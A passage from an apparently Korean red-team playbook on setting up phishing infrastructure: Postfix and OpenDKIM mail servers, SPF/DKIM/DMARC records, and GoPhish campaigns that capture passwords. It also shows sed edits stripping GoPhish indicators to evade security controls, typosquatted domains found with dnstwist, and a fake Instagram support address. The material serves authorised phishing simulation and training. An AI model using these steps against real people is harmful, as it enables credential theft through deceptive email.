  * 피싱 페이지용 도메인 1개
* 이메일 서버
  * 메일 발송 서버 - Gophish 등
  * 메일 서버 (Postfix) 혹은 메일 서비스 프로바이더 (Amazon SES, Mailgun, O365)
* 클라우드 서비스 프로바이더
  * 도메인 레지스트라 - NameCheap, Godaddy, Route53, Cloudflare 등
  * 클라우드 - AWS, Azure, Digital Ocean, Linode, 등

이번 실습에서는 이메일용 + 피싱 페이지용 도메인을 합쳐 1개만 구입한 뒤 사용한다. 이메일 같은 경우는 이메일 서비스 프로바이더 (Amazon SES, Mailgun, O365, 등)을 사용하는 것이 일반적이긴 하나, 교육 목적으로 메일 서버를 직접 구축한 뒤 Postfix 등의 메일 서비스를 직접 설치 및 설정한다. 클라우드 서비스 프로바이더는 NameCheap + Digital Ocean 을 사용한다. 물론, 다른 서비스를 사용해도 상관없다.

## 실습 - 도메인

도메인 구입은 따로 설명하지 않는다. 사용하고자 하는 DNS 프로바이더에 접속한 뒤 도메인을 구입한다. 구입할 때 `Domain Privacy` - 도메인 프라이버시를 꼭 같이 구입한다. 도메인 프라이버시를 적용하지 않으면 도메인을 구입할 때 사용한 Registrant 및 다른 개인 정보들이 Whois 나 다른 서비스들을 통해 유출될 가능성이 있다. 이는 작전 보안 실패로 이어진다.

도메인과 관련된 중요한 정보들은 다음 페이지에서 확인한다 - <https://www.레드팀.com/infrastructure/domain-categorization-reputation>

* 도메인 이름
* 만료된 도메인
* 도메인 분류
* 도메인 신뢰도

도메인 레지스트라에서 도메인을 구입했다면 네임 서버를 클라우드 프로바이더로 설정한다. 예를 들어 이 실습에서는 NameCheap + DigitalOcean 을 사용하고 있기 때문에, NameCheap 으로 가서 도메인의 네임 서버를 DO의 네임서버 3개로 지정해주면 된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-40eff504f73fbd75951217ce73ed8d78450e6aa2%2Fp1.PNG?alt=media" alt=""><figcaption></figcaption></figure>

## 실습 - 메일 서버 (mail.domain.com)

클라우드 프로바이더로 가서 서버를 2대 생성한다. 고피시 서버는 1기가 이상의 메모리를 가지도록 설정한다.

* OS: 우분투 22.10
* 종류: Basic (Plan Selected)
* CPU: Regular + SSD
* 메일 서버 가격: 4달러 / 달
* 고피시 서버 가격: 6달러 / 달 (1gb 메모리 - 필수!)
* 인증 방식: SSH 키
* 호스트이름: mail (메일 릴레이 서버), login (gophish 서버)

Droplet (드롭렛)을 생성한 뒤 드롭렛의 이름을 사용할 DNS A 레코드로 바꿔준다. 예를 들어 이 메일 서버의 이름은 `mail.domain.com` 이 될 것이니 그렇게 바꿔주면 된다. 이는 추후 도메인 PTR 레코드를 설정하는데 사용될 것이나, 지금은 크게 신경쓰지 않아도 된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-69a3674aec13454ba775384d6a52a456079e77d8%2Fp3.PNG?alt=media" alt=""><figcaption></figcaption></figure>

## 메일 서버 설정

메일 서버에는 다음의 서비스/개념들을 설치한 뒤 설정한다.

* 이메일 서비스 - Postfix
* SPF - 없음 (postfix-policyd-spf-python 패키지는 들어오는 메일의 SPF를 체크하지만, 피싱 이메일 서버는 들어오는 이메일들까지 세세하게 검증할 필요가 없기 때문에 패스한다)
* DKIM - Opendkim, Opendkim-tools
* Certbot - Certbot
* `/etc/postfix/master.cf` - 아래 Postfix 헤더 설정을 적용
* `/etc/postfix/header_checks` - 메일 발송 서버의 헤더들을 검열
* `/etc/postfix/main.cf` - Postfix 서비스에 관련된 일반적인 설정
* `/etc/opendkim.conf` - DKIM을 설정하는데 필요한 기본 설정
* `/etc/opendkim/keys/<domain>/mail.txt` - DKIM 관련 DNS TXT 레코드에 들어갈 내용
* `/etc/opendkim/keys/<domain>/mail.private` - DKIM에 사용될 비공개 키

설정할 것이 많아보이지만, 막상 해보면 또 그렇지도 않다. SPF, DKIM, DMARC 등에 관련된 내용은 추후 다른 페이지에서 설명한다.

이번 실습에서는 먼저 수동적으로 모든 것을 설정한다. 추후 다른 페이지에서 Terraform과 Ansible을 이용한 IoC를 제작해 설정을 자동화한다.

1. 먼저 패키지들을 설치한다.

```
export DEBIAN_FRONTEND=noninteractive; apt update && apt-get -y -qq install socat postfix opendkim opendkim-tools certbot

hostnamectl set-hostname mail 
```

2. 이후 postfix의 `main.cf` 와 기본적인 설정들을 `postconf` 를 통해 설정해준다. 주의할 점은 SMTP 릴레이를 허용하는 화이트리스트인 `mynetworks` 와 메일을 받을 때 최종 목적지를 설정하는 `mydestination` 이다.

```
myhostname="mail.koreambtihealth.com"
domain="koreambtihealth.com"
ip=`curl http://ipinfo.io/ip`
gophiship="64.227.18.187"

echo $domain > /etc/mailname 
echo $ip $domain > /etc/hosts 

postconf -e myhostname=$myhostname 
postconf -e milter_protocol=2
postconf -e milter_default_action=accept
postconf -e smtpd_milters=inet:localhost:12345
postconf -e non_smtpd_milters=inet:localhost:12345
postconf -e mydestination="$domain, $myhostname, localhost.localdomain, localhost"
postconf -e mynetworks="127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 $gophiship"
```

3. OpenDKIM 을 설정한다

```
mkdir -p /etc/opendkim/keys/$domain 
cd /etc/opendkim/keys/$domain 

# Create dkim TXT record 
opendkim-genkey -t -s mail -d $domain 
cat mail.txt | tr -d '\n" ' | grep -o 'v=DKIM1.*' | cut -d ';' -f 1-5 | tr '\t' ' ' | tr -s ' ' | tr -d ')' > /root/dkim.txt 
chown opendkim:opendkim mail.private 

# Configure necessary files - KeyTable, SigningTable, default/opendkim, TrustedHosts 
echo mail._domainkey.$domain $domain:mail:/etc/opendkim/keys/$domain/mail.private > /etc/opendkim/KeyTable 
echo *@$domain mail._domainkey.$domain > /etc/opendkim/SigningTable 
echo SOCKET=\"inet:12345@localhost\" >> /etc/default/opendkim 
echo $gophiship > /etc/opendkim/TrustedHosts 
echo *.$domain >> /etc/opendkim/TrustedHosts 
echo localhost >> /etc/opendkim/TrustedHosts
echo 127.0.0.1 >> /etc/opendkim/TrustedHosts
```

4. 필요 설정 파일들을 덮어씌운 뒤, 리부팅한다.

* 각 사용되는 설정파일들은 프로젝트 리포를 확인한다

<https://github.com/ChoiSG/RTPSourceCodes/tree/main/iac/smtp-terraform/configs>

```
mv /opt/RTPSourceCodes/ioc/phishing/configs/header_checks /etc/postfix/header_checks 
mv /opt/RTPSourceCodes/ioc/phishing/configs/master.cf /etc/postfix/master.cf
mv /opt/RTPSourceCodes/ioc/phishing/configs/opendkim.conf /etc/opendkim.conf 
```

### DNS 설정

DNS 프로바이더로 가서 SPF, DKIM, DMARC, rDNS 설정을 해준다. 이 실습에서는 DO를 사용한다.

* SPF - 메일 서버의 아이피 주소를 사용한다
* DMARC - 아래의 DMARC 레코드를 그대로 쓴다
* DKIM - `/root/dkim.txt` 에 저장해놨던 문자열을 사용한다
* rDNS - 프로바이더마다 다르지만, DO의 경우 드롭렛의 이름을 FQDN으로 바꾸면 알아서 설정된다.

```
TYPE RECORD HOSTNAME VALUE 
(phish) A login <gophish 서버 IP 주소> 
(mail) A mail <mail서버 IP주소> 
(mail) MX <domain.com> mail.<domain.com>
(spf) TXT "@" v=spf1 a mx ip4:<mail서버 IP> ~all  (redirector) (ttl=60)
(dmarc) TXT _dmarc v=DMARC1; p=reject (ttl=60)
(dkim) TXT mail._domainkey <cat /root/dkim.txt> (ttl=600) 
(rDNS/PTR) < rename droplet with FQDN of the mail/smtp server > 
```

## 중간 점검

여기까지 진행했다면 중간 점검을 통해 메일 서버와 SPF, DKIM, DMARC 등의 이메일 관련 TXT 레코드가 잘 생성되었는지 확인한다. 한번에 확인할 수 있는 가장 빠르고 효율적인 방법은 `mail-tester.com` 을 사용하는 것이다. 방문한 뒤 이메일 주소를 받고, 해당 이메일 주소로 이메일을 보내본다.

현재 이메일 서버는 Gophish 서버에서만 접속 + 발송 가능하게끔 설정해놨기 때문에 gophish 서버에 접속 한 뒤, 이메일 서버를 사용해본다.

```
// login == gophish 서버다 
└─# ssh -i id_rsa root@login.koreambtihealth.com

root@login:~# telnet mail.koreambtihealth.com 25
Trying 143.198.179.236...
Connected to mail.koreambtihealth.com.
Escape character is '^]'.
220 mail.koreambtihealth.com ESMTP Postfix (Ubuntu)
helo koreambtihealth.com
250 mail.koreambtihealth.com
mail from: contact@koreambtihealth.com
250 2.1.0 Ok
rcpt to: test-rcwa6a0at@srv1.mail-tester.com
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
to: test-rcwa6a0at@srv1.mail-tester.com <test-rcwa6a0at@srv1.mail-tester.com>
from: contact <contact@koreambtihealth.com>

Hello mail tester, this is a testo thing!
.
250 2.0.0 Ok: queued as 170167C58D
quit
221 2.0.0 Bye
Connection closed by foreign host.
```

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-7c23b0f8ad8365d81a358fed4c88e5ef0f4d5473%2Fp4-good-score.PNG?alt=media" alt=""><figcaption></figcaption></figure>

점수가 높게 나오건 낮게 나오건 일단 중요한 섹션은 `You're Properly Authenticated` 이 부분이다. 이 부분의 SPF, DKIM, DMARC, rDNS 섹션에 모두 체크마크가 있다면 성공한 것이다. 만약 없다면 DNS 레코드 및 DKIM 문자열 등을 다시 한 번 체크한다.

전반적인 테스트가 아니라 부분별로 설정을 확인하고 싶다면 mxtoolbox 및 nslookup 등을 이용한다.

SPF, DKIM, DMARC 확인

* <https://mxtoolbox.com/SuperTool.aspx?action=spf>
* <https://mxtoolbox.com/SuperTool.aspx?action=dkim>
* <https://mxtoolbox.com/SuperTool.aspx?action=dmarc>

Nslookup 으로 DNS 레코드 확인

```
nslookup -type=MX domain.com
nslookup -type=A mail.domain.com 
nslookup -type=TXT domain.com
nslookup -type=TXT mail._domainkey.domain.com
nslookup -type=TXT _dmarc.domain.com 
```

## Gophish 서버 설정

메일 서버의 설정이 끝났다면 고피시 서버를 설정한다. 고피시 서버에는 악용을 막기 위한 잘 알려진 IOC 들이 있기 때문에 서버를 설치하기 전 IOC 부터 먼저 제거한다. 이 부분은 Sprocketsecurity 사의 블로그(<https://www.sprocketsecurity.com/resources/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls)를> 참고했다.

```
apt update -y ; apt install golang-go gcc -y 
cd /opt 
git clone https://github.com/gophish/gophish.git
cd ./gophish 

# Opsec changes 
find . -type f -name "config.go" -exec sed -i 's/const ServerName = "gophish"/const ServerName = "IGNORE"/g' {} + 
find . -type f -name "campaign.go" -exec sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "keyname"/g' {} + 
find . -type f -exec sed -i 's/X-Gophish-Contact/X-Contact/g; s/X-Gophish-Signature/X-Signature/g' {} +

go build 
```

로컬 포트 포워딩을 한 뒤 고피시를 실행한다. 고피시 실행 뒤 나오는 비밀번호를 이용해 호스트에서 `https://localhost:3333` 로 접속한다.

```
ssh -i id_rsa root@login.koreambtihealth.com -L 3333:127.0.0.1:3333
./gophish 
https://localhost:3333
```

## Gophish 설정

Sending Profile, Landing Page, Email Template, Users & Group을 모두 설정해준 뒤, Campaign을 진행한다.

1. Sending Profile

```
Name: sending-profile-test
SMTP From: contact@domain.com 
Host: mail.domain.com:25
Username/Password: empty since we have open relay for our gophish server
Email Headers: 
- X-Mailer: Microsoft office outlook, build 17.551210
- Date: Sun, 02 Apr 2023 18:30:00 -0500
```

2. Landing Pages

```
Name: landing-page-test
HTML: test 
Capture Submitted Data 
Capture Passwords 
Redirect to: http://www.google.com 
```

3. Email Templates

```
Name: template-test
Envelope Sender: noreply <contact@koreambtihealth.com>
Subject: Testo Fish for Red Team Playbook!
Text: Hello world, this is a testo! {{.URL}}
Add Tracking Image 
```

4. Users & Group

```
Group Name: group-test
<add emails and stuffs> 
```

5. Campaign 을 시작한다.

```
Name: Campaign-test
Email Template: template-test
Landing Page: test
URL: http://login.domain.com (http://login.koreambtihealth.com)
Sending Profile: sending-profile-test
Groups: groups-test
```

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-3d7c4c0162b42d64643010eb9398bef827b36176%2Fp5-campaign.PNG?alt=media" alt=""><figcaption></figcaption></figure>

## 실행

고피시를 통해 캠페인을 진행하면 왠만한 이메일 프로바이더의 스팸 필터를 거쳐 타겟의 이메일 inbox 안으로 이메일이 도착한 것을 볼 수 있다. 텍스트 기반의 이메일도 나쁘지 않지만, 현업에서 피싱 이메일 시뮬레이션을 할때는 HTML이나 잘 알려진 타사들의 이메일을 쓰기도 하니, 이렇게 연습해보는 것도 나쁘지 않다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-6c6c551e126dbed85d17fabd42d6c86d39276a40%2Fp6-kokoa-1.PNG?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-df155458b79aca4f7fe6991344041d6278a9838f%2Fp7-kokoa-2.PNG?alt=media" alt=""><figcaption></figcaption></figure>

HTML에 들어가는 모든 링크는 고피시 링크 `{{.URL}}` 로 바꿔 테스트 페이지로 리다이렉트 시키거나 Evilginx2 페이지로 리다이렉트 시킬 수 있다. 예를 들어 위의 비밀번호 재설정을 누르면 Evilginx2 에서 준비해둔 리버스 프록시 페이지로 유저를 리다이렉트 시켜 [피싱 - AitM (Adversary in the Middle)](/initial-access/aitm) 을 실행하는 식이다.

## 마치며

개요에서도 언급했듯 이 페이지에서는 메일 서버와 고피시 서버를 설정하는 법에 대해서 다뤄봤다. 추후 테라폼이나 엔서블을 이용한 자동화나, Evilginx2와 고피시를 같이 이용하는 방법에 대해서는 추후 다른 페이지에서 다룬다.

참고로 위 방법을 이용해 실제 사이버 공격을 실행한 스키디가 있다면 행운을 빈다. 일부러 쉽게 잡힐 수 있는 IOC 2개 정도를 지우지 않았기 때문에 일반적인 이메일 게이트웨이를 사용하는 블루팀이라면 24시간 내에 본인을 찾아낼 것이다.

### Reference

* <https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform>
* <https://github.dev/b1gbroth3r/red-team-infrastructure-example>
* <https://www.mail-tester.com/>
* <https://www.sprocketsecurity.com/resources/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls>
* <https://www.mogozobo.com/?p=3685>


# SMTP Gophish + ESP

본 실습은 레드팀 인프라에 꼭 필요한 SMTP 서버를 GoPhish 피싱 프레임워크와 ZoHo Third-party 메일 서비스를 활용해 AWS에서 설정하는 법을 다룬다.

## 개요

저번 시간에서 Postfix와 같은 오픈 소스 메일 서비스를 사용해 Digtal Ocean 메일 서버를 직접 설정하는 법을 배웠다.

{% embed url="<https://www.xn--hy1b43d247a.com/infrastructure/smtp>" %}

이번 시간에는 클라우드 서비스로는 AWS, 이메일 서버로는 ZOHO 서드파티 이메일 서버 서비스를 활용해 초보자들이 쉽게 구축할수 있는 방법을 소개한다.

일단 저번시간과 다른점은 Digital Ocean 대신 AWS, Postfix 대신 서드파티 이메일 서비스를 이용한다.

Digital Ocean vs AWS & Postfix vs 서드파티이( e.g ZOHO )의 차이점은 다음과 같다:

### Digital Ocean vs AWS

Digital Ocean과 AWS 클라우드 서비스의 차이점은 다음과 같다:

1. 규모및 기능: 기본적으로 Digital Ocean은 간단한 웹 사이트 또는 애플리케이션을 호스팅하려는 개인 또는 작은 기업에게 적합하다. AWS는 대규모 기업이나 더 많은 서비스와 기능이 필요한 기업이나 큰 큐모의 인프라 서비스에 적합하다.
2. 가격:Digital Ocean과 AWS 두 서비스 모두 무료 Trial 버전을 제공한다 DO의 경우 2달동안 200 USD의 크레딧을 제공하고 AWS또한 12 개월 무료 Tier를 제공한다. Digital Ocean은 비교적 저렴한 가격으로 서비스를 제공하고 있다. AWS는 다양한 옵션과 서비스로 인해 가격이 상대적으로 높다.
3. 사용 편의성: Digital Ocean은 사용하기 쉽고 직관적인 사용자 인터페이스를 제공한다. 반면, AWS는 다양한 옵션과 기능을 제공하지만, 초보자들이 사용하기에는 복잡할 수 있습니다.

### Postfix 메일 서버 vs 서드파티 메일 서버

ZOHO와 같은 서드파티 메일 서버 호스팅 "서비스"를 이용하면따로 메일 서버를 사용자가 구축하지 않아도 된다.

Postfix 메일 서버와 ZOHO와 같은 서드파티 메일 서버의 차이점은 다음과 같다:

1. 호스팅: Zoho 메일은 클라우드 호스팅 이메일 서비스입니다. 따라서 사용자 친화적인 인터페이스와 보안 및 백업 기능을 제공한다. 반면에 Postfix는 오픈 소스 메일 전송 에이전트 (MTA)이며, 사용자가 직접 설치하고 구성해야합니다 하지만, 직접 설치하고 구성하는 만큼 OPSEC에 있어서 Postfix와 직접 VM을 설치 구성하는것이 레드팀이나 APT 입장에선 더 "안전"할수도 있다.
2. 가격: Zoho 메일은 기본 기능이 무료이며 추가 기능을 원할 경우 추가 비용이 발생할 수 있습니다. 반면에 Postfix는 오픈 소스 소프트웨어이므로 무료입니다.

교육차원에서 두 이메일 서비스를 모두 사용할수 있지만 이번 시간에는 ZOHO 서비스를 통해 좀더 직관적으로 쉽게 메일서버 + GoPhish를 설치하는 법을 배운다.

## 준비물

이번 실습은 다음과 같은 준비물이 필요하다:

* 도메인
  * 이메일용 + 피싱 페이지용 도메인 1개 (Namecheap) - <https://www.namecheap.com/>
* 메일 발송 서비스및 서버
  * 메일 발송 서버 프레임워 - Gophish
    * <https://getgophish.com/>
  * 메일 서비스 프로바이더
    * ZOHO 메일
      * <https://www.zoho.com/mail/login.html>
* 클라우드 서비스 프로바이더
  * 클라우드 - AWS

### "좋은" 도메인 구매

먼저 "좋은" 레드팀을 준비하기 위해 구매하려는 도메인 이름 또한 최대한 합법적인 웹사이트의 도메인과 충분히 유사하고 설득력이 있어야 한다.

본 실습에선 DnsTwist 와 같은 오프소스 도메인 체킹툴을 이용한다.

기타 비슷한툴:

* UrlCrazy
* Catphish

DNSTWIST를 통해 그루트 도메인 grootboan.com과 비슷하지만 다른? 도메인을 찾는다. 이번 실습에서는 boan의 a와 o를 바꿔 grootbaon.com을 구매했다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-286a9842b7024f05b0d035644d66ed69ef4aace4%2FPasted%20image%2020230414153642%20\(1\)%20\(1\)%20\(1\)%20\(2\)%20\(1\)%20\(2\).png?alt=media)

Namecheap에 들어가 grootbaon.com을 확인하여 구매한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FewXxtfm2etniI7ZTGwD9%2FPasted%20image%2020230414153807.png?alt=media\&token=59ef5665-c9ff-423b-bee7-24f76f0cfe5f) ![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-03e1596515d5fa15ca0370ba338e3788d2bc6a2b%2FPasted%20image%2020230414154219.png?alt=media)

### GoPhish 호스팅 AWS EC2 서버 구축

적절한 도메인을 구입했다면 이제 AWS와 같은 클라우드 VM 호스팅 서비스를 이용해서 GoPhish (피싱 메일 전송 서비스)를 구축한다. AWS는 처음 12개월 프리 티어를 제공하므로 본 실습에서는 AWS를 사용한다.

일단 아래 링크에서 무료 계정을 생성해 12개월 무료 티어 계정을 만든다.

{% embed url="<https://aws.amazon.com/ko/free/>" %}

AWS EC2 웹 서비스를 아래와 같은 스펙으로 설정하여 생성한다.

* OS: 우분투 22.10
* CPU: Regular + SSD
* 메일 서버 가격: 무료
* 고피시 서버 가격: 셀프 호스팅 무료
* 인증 방식: SSH 키
* 호스트이름: login (gophish 서버) ( e.g login.grootbaon.com)

다음과 같이 EC2를 생성해준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-f3ed41ef875c7b8548f7f30e8b8112cfe7bd78e0%2FPasted%20image%2020230416194114%20\(1\)%20\(1\).png?alt=media)

안전하고 Private한 연결을 위해 SSH 키 페어를 설정해준다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F3lSi19cS3X8S2H3ASgDY%2FPasted%20image%2020230416195853.png?alt=media&amp;token=6477ccc2-0529-4281-b065-65e6c4e7dbea" alt=""><figcaption></figcaption></figure>

물론 나중에 세팅이 완료되면 디테일한 방화벽 설정이 필요하지만 스무스한 진행을 위해 방화벽은 따로 설정하지 않기로 한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FMMcsP8LB7HHXByitnuMX%2FPasted%20image%2020230416194249.png?alt=media&amp;token=27ffa7bd-aa7c-4466-a663-9f731ea895f6" alt=""><figcaption></figcaption></figure>

스토리지 또한 15-20 기가 정도로 설정하여 혹시모를 스토리지 부족에 대비해 넉넉히 설정해도 된다. 모든 설정이 마무리되면 "인스턴트 시작"을 눌러 GoPhish 서버 EC2를 생성한다.

## 설치

### GoPhish 서버 설치

위 EC2 서버 설정에서 만들었던 SSH Private Key를 통해 고피시 서버에 연결한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8359f28e5ba7e0ad599c2c6581bb94f3501d98a7%2FPasted%20image%2020230416195949%20\(1\)%20\(1\).png?alt=media)

이제 고피쉬를 설정한다.

```sh
apt update -y ; apt install golang-go gcc -y;cd /opt
git clone https://github.com/gophish/gophish.git
cd ./gophish
```

GoPhish는 디폴트로 여러 증거를 남길수 있기때문에 OPSEC 차원에서 GoPhish가 만들어내는 트래픽에 남는 여러 스트링을 아래와 같이 바꿔줄수있다 .

```shell
find . -type f -name "config.go" -exec sed -i 's/const ServerName = "gophish"/const ServerName = "IGNORE"/g' {} +
find . -type f -name "campaign.go" -exec sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "keyname"/g' {} +
find . -type f -exec sed -i 's/X-Gophish-Contact/X-Contact/g; s/X-Gophish-Signature/X-Signature/g' {} +
go build
```

모든 과정이 에러없이 완료 되었다면 모든 GoPhish 설정은 다 끝났다.

### ZOHO 메일 서버 설정

메일 서버를 설정하기 앞서 Namecheap에 들어가 도메인 Privacy가 활성화 되어있는지 확인해 준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FgdYnFEsGUz7jZ4XuKX38%2FPasted%20image%2020230417093609.png?alt=media\&token=c8b0a048-5416-4e32-94a3-4b81e71bf3f4)

아래 sign up 링크에서 ZOHO 계정 만든다.

{% embed url="<https://www.zoho.com/signup.html>" %}

참고로 아시안쪽에서 VPN을 굴리면 ZOHO 데이터 베이스가 호주 또는 일본으로 설정되기에 AU 코드가 뜬다. 구매한 도메인으로 이메일 도메인을 설정하기에 다음과 같이 진행한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FjGQ8mNqOlbFq9H0LeFYZ%2FPasted%20image%2020230417093954.png?alt=media&amp;token=37bfb4ec-b817-492b-a79f-0f77dfe35c3a" alt=""><figcaption></figcaption></figure>

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-585e64e88e03d912e7edf74bb8dc6fee5749727c%2FPasted%20image%2020230417094142.png?alt=media)

Proceed to domain verification 누른뒤 AWS Route 53으로 돌아온뒤 아래와 같이 과정으로 도메인과 AWS 클라우드 , ZOHO 메일 서버를 연결해준다.

### AWS Route53 DNS 설정정

1. Route53에서 호스팅 영역 -> 호스팅 영역 생성을 선택한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-7b1280a74f3d1a6683d57d71184f92da9b6648eb%2FPasted%20image%2020230417110256.png?alt=media" alt=""><figcaption></figcaption></figure>

2. 구매한 도메인 이름으로 다음과 같이 호스팅 영역을 만들어준다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-c8b0b5176a06473bcf810b09f87633788df9ee44%2FPasted%20image%2020230417110340.png?alt=media" alt=""><figcaption></figcaption></figure>

3. NS와 SOA 레코드가 생성되면 NS 레코드 값을 복사한뒤 Namecheap 도메인 설정에서 Nameserver를 Custom DNS로 바꾼뒤 위의 AWS NS 레코드 값으로 바꿔 준다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-f34319d7838119cec80fae8af217349f1dea5199%2FPasted%20image%2020230417175031.png?alt=media" alt=""><figcaption></figcaption></figure>

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-60879947802b08ac65724ac89c1c5f893992f37f%2FPasted%20image%2020230417111036.png?alt=media)

다음과 같이 성공적으로 연결되면 Domain Ownership 테스트는 통과다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-b72f0483446b45011fd9a63b13fa03418d3cf55a%2FPasted%20image%2020230417100526.png?alt=media" alt=""><figcaption></figcaption></figure>

4. ZOHO 무료버전은 계정 5개까지 무료이므로 다음과 같이 피슁에 쓰일 이메일을 만들어 줄수 있다. 여기서는 가짜 Instagram 서포트 계정으로 보일 만한 테스팅 이메일 instagram.support를 만들어 보았다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-891747b3b9bb01ef8b695409ab9e4214c02dccc2%2FPasted%20image%2020230417165626.png?alt=media" alt=""><figcaption></figcaption></figure>

5. 그 다음은 아래와 같이 ZOHO가 알려주는대로 DNS MX,SPF,DKIM을 AWS Route 53 레코드로 설정해준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-fe662fae5d8f0c7c3057c61b8940f539f6243864%2FPasted%20image%2020230417100824.png?alt=media)

6. 마지막으로 A 레코드는 GoPhish가 설치된 AWS EC2의 퍼블릭 아이피와 login.grootbaon.com를 연결 해준뒤 다음과 같이 설정이 되었다면 모든 설정이 끝난다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4de37b3c5b5dcf4d08e59e9efc22c64724d036c2%2FPasted%20image%2020230417180402.png?alt=media)

이로써 NAMECHEAP <-> AWS <-> ZOHO의 설정이 끝났다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-95b9038bf09379344654331da2098576a92d77b7%2FPasted%20image%2020230417103408.png?alt=media)

## 이메일 서버 중간점검

mail-tester 를 통해 메일 서버와 SPF, DKIM, DMARC 등의 이메일 관련 TXT 레코드가 잘 생성되었는지 확인한다. mail-tester.com 방문한 뒤 이메일 주소를 받고, 해당 이메일 주소로 이메일을 보내본다.

{% embed url="<https://www.mail-tester.com/>" %}

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-48b9ce438b4fe7a57a812b5030f87fa02ec71df6%2FPasted%20image%2020230417181258.png?alt=media)

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4f1dc7e78350b0b033431e5db46148946a6a218f%2FPasted%20image%2020230417181245.png?alt=media)

상당히 높은 스코어와 `You're Properly Authenticated` 이 부분 통과하면 성공이다. SPF, DKIM, DMARC, rDNS 섹션에 모두 체크마크가 있다면 우리의 피싱이메일은 대부분의 이메일 필터를 통과할수있다. 다면 DNS 레코드 및 DKIM 문자열 등을 다시 한 번 체크한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-e162ba96b5f4c69937fb09d71e2f2d189f349abb%2FPasted%20image%2020230417181721.png?alt=media)

## GoPhish 실행

